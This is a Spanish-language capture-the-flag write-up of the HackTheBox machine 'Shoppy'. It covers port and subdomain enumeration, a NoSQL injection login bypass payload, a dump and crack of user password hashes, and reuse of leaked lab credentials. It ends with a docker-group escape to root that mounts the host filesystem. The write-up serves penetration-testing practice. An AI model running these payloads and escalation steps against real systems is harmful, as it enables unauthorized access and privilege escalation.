Inicio Shoppy Writeup - HackTheBox
Entrada
Cancelar

Shoppy Writeup - HackTheBox

Resumen

Shoppy de la plataforma HackTheBox es una máquina Linux de dificultad Easy creada por lockscan.

Enumeración

Nmap

Puertos 22/tcp, 80/tcp y 9093/tcp abiertos. Este último aún no sabemos que servicio está ejecutando.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http     nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Sat, 21 Jan 2023 12:49:26 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 388
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 388
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 5.7975e-05
|     go_gc_duration_seconds{quantile="0.25"} 0.00013233
|_    go_gc

80/tcp

Con whatweb podemos identificar que la web nos redirecciona al dominio shoppy.htb.

1
2
3
~/Documents/HTB/Shoppy/enumeration ❯ whatweb 10.129.227.233

http://10.129.227.233 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.23.1], IP[10.129.227.233], RedirectLocation[http://shoppy.htb], Title[301 Moved Permanently], nginx[1.23.1]

Agregamos el dominio a /etc/hosts y continuamos.

Se visualiza una web simple con un countdown y nada interesante en su código fuente.

Enumeración de directorios

Lo siguiente será enumerar directorios sobre el dominio shoppy.htb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
~/Documents/HTB/Shoppy/enumeration ❯ ffuf -c -u "http://shoppy.htb/FUZZ" -w /opt/SecLists/Discovery/Web-Content/common.txt -t 60

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://shoppy.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 60
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

Login                   [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 216ms]

Descubrimos /login que es un panel de inicio de sesión.

Después de unos intentos, detectamos que la web está utilizando un motor de base de datos NoSQL, por lo que deberemos injectar instrucciones de este tipo.

En Hacktricks podremos buscar payloads para injecciones NoSQL. En este caso, la db es un mongo, por lo tanto, si injectamos admin'||' 1==1 podremos ingresar al panel de administración.

Una vez dentro, veremos un panel en donde hay un botón: “Search for users”.

Dentro de él, podremos buscar usuarios por ID, esto se podría fuzzear pero también es posible injectar nuevamente un payload NoSQL.

Una vez ejecutado, nos permitirá descargar un reporte con la información de los usuarios encontrados.

Tendremos un nuevo usuario junto con su contraseña en hash MD5.

1
2
3
4
5
6
7
8
9
10
11
12
[
  {
    "_id": "62db0e93d6d6a999a66ee67a",
    "username": "admin",
    "password": "23c6877d9e2b564ef8b32c3a23de27b2"
  },
  {
    "_id": "62db0e93d6d6a999a66ee67b",
    "username": "josh",
    "password": "6ebcea65320589ca4f2f1ce039975995"
  }
]

Llevaremos estos hashes a (crackstation)[https://crackstation.net/] y obtendremos la contraseña del usuario josh.

  • josh:remembermethisway.

Enumeración de subdominios

Enumeraremos subdomnios con ffuf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
~/Documents/HTB/Shoppy/enumeration ❯ ffuf -c -u http://shoppy.htb/ -H "Host: FUZZ.shoppy.htb" -w /opt/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 80 -mc all -fs 169

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://shoppy.htb/
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.shoppy.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 80
 :: Matcher          : Response status: all
 :: Filter           : Response size: 169
________________________________________________

mattermost              [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 250ms]

Una vez agregado el subdominio mattermost, visitaremos la web para encontrarnos nuevamente con un login.

En esta ocasión ingresaremos con las credenciales obtenidas anteriormente. Nada más entrar veremos un chat en donde nos comparten otras credenciales que podremos utilizar para entrar por ssh a la máquina.

  • jaeger:Sh0ppyBest@pp!

User: jaeger

Si verificamos los permisos del usuario, notaremos que puede ejecutar como el usuario deploy el binario /home/deploy/password-manager.

1
2
3
4
5
6
7
jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

Si ejecutamos el binario, nos solicitará una contraseña.

1
2
3
4
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: asd
Access denied! This incident will be reported !

Bajo este contexto, descargaremos el binario a nuestra máquina y lo analizaremos con cutter.

Haremos lo siguiente:

  1. Analizar la función Main.
  2. Filtrar por cadenas de texto (strings).
  3. A simple vista veremos la palabra: Sample.

Esto aparece justo después de la cadena Please enter your master password, por lo que podemos asumir que es la contraseña.

User: deploy

Con estas credenciales, podremos migrar al usuario deploy, el cual pertenece al grupo docker.

1
2
3
4
jaeger@shoppy:~$ su - deploy
Password: 
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

root

En este punto ya es trivial conseguir root, todo lo que deberemos hacer es crear un nuevo contenedor y montar la raíz del sistema en alguna ruta dentro del contenedor.

Como la máquina no tiene conexión a internet, deberemos trabajar con las imagenes que existan localmente.

1
2
3
4
deploy@shoppy:~$ docker images
REPOSITORY   TAG       IMAGE ID       CREATED        SIZE
alpine       latest    d7d3d98c851f   6 months ago   5.53MB
deploy@shoppy:~$ 

Usando la imagen alpine, montaremos nuestro contenedor.

1
docker run --rm -it -v /:/mnt/ alpine /bin/sh

La flag de root se puede acceder desde el contenedor, en la ruta: /mnt/root/root.txt

Esta entrada está licenciada bajo CC BY 4.0 por el autor.